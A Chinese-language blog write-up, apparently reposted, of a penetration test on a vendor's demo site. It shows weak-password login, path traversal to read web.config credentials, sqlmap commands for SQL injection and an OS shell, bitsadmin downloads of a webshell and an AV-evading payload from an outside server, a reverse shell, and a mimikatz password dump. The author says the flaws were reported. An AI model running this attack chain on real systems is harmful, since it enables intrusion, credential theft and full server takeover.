对某厂商演示站点的一次渗透测试

栏目: 编程工具 · 发布时间: 6年前

内容简介:其实这个厂商之前就挖过他们家漏洞,提交了不少漏洞给他们,如今都修复了,最近闲来无事,又对他们演示站点进行了一次“深入”研究。打开他们演示站点,测试了一下之前的漏洞,空账号空密码登录已经被修复了,尝试弱口令登录,123456登录进去了。

前言

其实这个厂商之前就挖过他们家漏洞,提交了不少漏洞给他们,如今都修复了,最近闲来无事,又对他们演示站点进行了一次“深入”研究。

0x01 演示站点入手

打开他们演示站点,测试了一下之前的漏洞,空账号空密码登录已经被修复了,尝试弱口令登录,123456登录进去了。

对某厂商演示站点的一次渗透测试

然后对之前存在漏洞的上传点再次尝试截断上传,发现已经修复了。

后台多了一些功能,比如下面这个“文档管理”,上传已经绕不过去了。

对某厂商演示站点的一次渗透测试

0x02 前方高能预警

我们先上传了一个txt文件,里面的内容是“1”。

文档管理这里可以删除文件夹,同时也可以预览文件夹,然后通过burp抓包看一下预览文件的数据包,数据包如下

对某厂商演示站点的一次渗透测试

一个骚思路出现在脑子里面,我们何不尝试读取一下其他文件看看呢?

说干就干,直接输入一个不存在的文件看看,数据包fileid里面的文件名修改成Space66662333.txt

然后重放数据包,查看返回包已经提示找不到文件,并且爆出路径了。

对某厂商演示站点的一次渗透测试

嘿嘿嘿你们知道我要干啥了吧?

看路径就知道,我们上传的1.txt是在网站的二级目录下,所以可以使用../跳转到上一级目录。../../表示往上跳两次目录。

现在我们尝试去读取网站配置文件试试,文件名修改成../../web.config然后发包。

对某厂商演示站点的一次渗透测试

可以看到已经读出了网站配置文件信息,里面有数据库账号密码等等数据。

对某厂商演示站点的一次渗透测试

尝试远程连接数据库,不出意外,禁止外连啦。

0x03 继续分析后台

因为这套系统是真的烂,所以我猜测后台的查询功能肯定也存在注入。

如果权限够高的话,说不定可以直接上传 shell 呢。

说干就干,找能查询数据的地方,我们用burp抓包,然后把抓到的数据包放进c盘下1.txt里面。

然后启动sqlmap,输入以下命令开始检测

sqlmap.py -r c:\1.txt

对某厂商演示站点的一次渗透测试

可以看到的确是存在注入的,我们输入以下命令看看是否为dba权限。

sqlmap.py -r c:\1.txt --is-dba

对某厂商演示站点的一次渗透测试 对某厂商演示站点的一次渗透测试

现在尝试输入如下命令,执行交互式shell试试。

sqlmap.py -r c:\1.txt --os-shell

报错了,找不到解决方法只能重新找其他注入点试试了。

对某厂商演示站点的一次渗透测试

咱们继续burp抓包,然后sqlmap验证。

最后,终于有个注入点可以执行交互式shell了。

看了下还是system权限。

对某厂商演示站点的一次渗透测试

咱们先收集一波服务器信息

输入tasklist

对某厂商演示站点的一次渗透测试

从上图可以看到,服务器装了eset杀软,进程是egui.exe ekrn.exe。

说实话,我真的很讨厌这个杀软,之前就遇到个,各种 工具 和后门都会给你杀掉。

继续输入net user

发现啥都没获取到,不显示账号名称。

那么咱们直接看看管理员账号是多少,还有远程登录端口是多少。

首先输入query user得到用户名称

对某厂商演示站点的一次渗透测试

然后输入以下命令,获取到远程登录服务的pid

tasklist /svc |find "TermService"

可以看到pid出来了,pid是3312

对某厂商演示站点的一次渗透测试

我们再输入netstat -ano |find "3312“

图中可以看到远程端口拿到了。

对某厂商演示站点的一次渗透测试

下面我们直接用前面的数据库密码去尝试远程登录服务器试试看。

不过事实证明我想多了,密码错误。(多数管理员会把各种密码设置成一个)

0x04 尝试通过sqlmap拿shell

因为可以执行命令,但是不能添加管理账号,估计是被eset拦截了。

然后咱们尝试用echo写文件的方法写一个webshell到网站目录下。

蛋疼的是,他的网站目录是中文的,在sqlmap下中文不知道为什么,执行的时候会自动清除中文路径。

对某厂商演示站点的一次渗透测试

0x05 成功拿到webshell

他的网站目录中文路径这个的确很蛋疼,不过咱们也不能怂对吧?

骚思路又来了......

找一个免杀的aspx一句话,然后放在自己的web服务器上。

用bitsadmin下载这个aspx到目标上面

bitsadmin /transfer n http://111.111.111.111/m.aspx  e:\m.aspx

为了解决sqlmap中文路径无法交互的问题,我们再写一个bat文件,内容如下。

copy e:\m.aspx e:\对方网站中文路径\二级路径\网站根目录\m.aspx

然后还是用bitsadmin下载到对方的服务上。

bitsadmin /transfer n http://111.111.111.111/s.bat  e:\s.bat

现在我们查看一下是否下载成功,在sqlmap里面执行dir e:\

对某厂商演示站点的一次渗透测试

接下来在sqlmap下面执行e:\s.bat

会显示文件复制成功,已经把后门从e\下面拷贝到他网站根目录下了。

嘿嘿嘿,上菜刀试试,成功连接。

对某厂商演示站点的一次渗透测试

然后菜刀执行net user 发现已经可以返回了,但是还是无法添加管理员账号

对某厂商演示站点的一次渗透测试

因为上面有eset杀软,用exp提权或者用wce、mimikatz去读取管理员密码是不可能了,各种exp上去全被干掉。

0x06 尝试提权

最后我的思路是这样,搞一个免杀后门,然后用bitsadmin下载免杀文件到对方的磁盘根目录下,然后sqlmap运行这个免杀文件,上线到msf后直接获取管理员密码。

说干就干,咱们先用msf生成一个shellcode然后做好免杀。

把免杀远控放在我们开了web的服务器上

在sqlmap下执行以下命令下载远控到目标上面。

bitsadmin /transfer n http://111.111.111.111/m.exe  e:\m.exe

然后msf做好监听,准备接收反弹回来的shell吧。

监听好了以后直接在sqlmap里面执行e:\m.exe

返回kali查看,已经成功返回session了,(之前测试过几次,都没成功上线,原来是我生成的shellcode有问题)

对某厂商演示站点的一次渗透测试

在msf里面依次输入以下命令读取管理员密码

load mimikatz

wdigest

对某厂商演示站点的一次渗透测试

拿到密码以后,配合前面收集到的远程登录端口,直接输入ip:端口号登录成功

对某厂商演示站点的一次渗透测试

写在最后

过程写起来很快,但是实际操作起来很慢,各位表哥行行好吧,已经几天没吃饭了。

对某厂商演示站点的一次渗透测试

漏洞已经上报给小厂商,虽然一点奖励都没有,但是谁叫我曾经爱(lu)过你呢?小厂商也需要一点一点成长起来对吧?

分享一波远程下载的几个方法,对付禁止上传文件的服务器我们可以尝试用这些方法下载。

方法回复可见


以上所述就是小编给大家介绍的《对某厂商演示站点的一次渗透测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

设计模式解析

设计模式解析

Alan Shalloway、James R.Trott / 徐言声 / 人民邮电出版社 / 2013-1 / 55.00元

《设计模式解析(第2版·修订版)》,本书首先概述了模式的基础知识,以及面向对象分析和设计在当代软件开发中的重要性,随后使用易懂的示例代码阐明了12个最常用的模式,使读者能够理解模式背后的基本原则和动机,理解为什么它们会这样运作。一起来看看 《设计模式解析》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试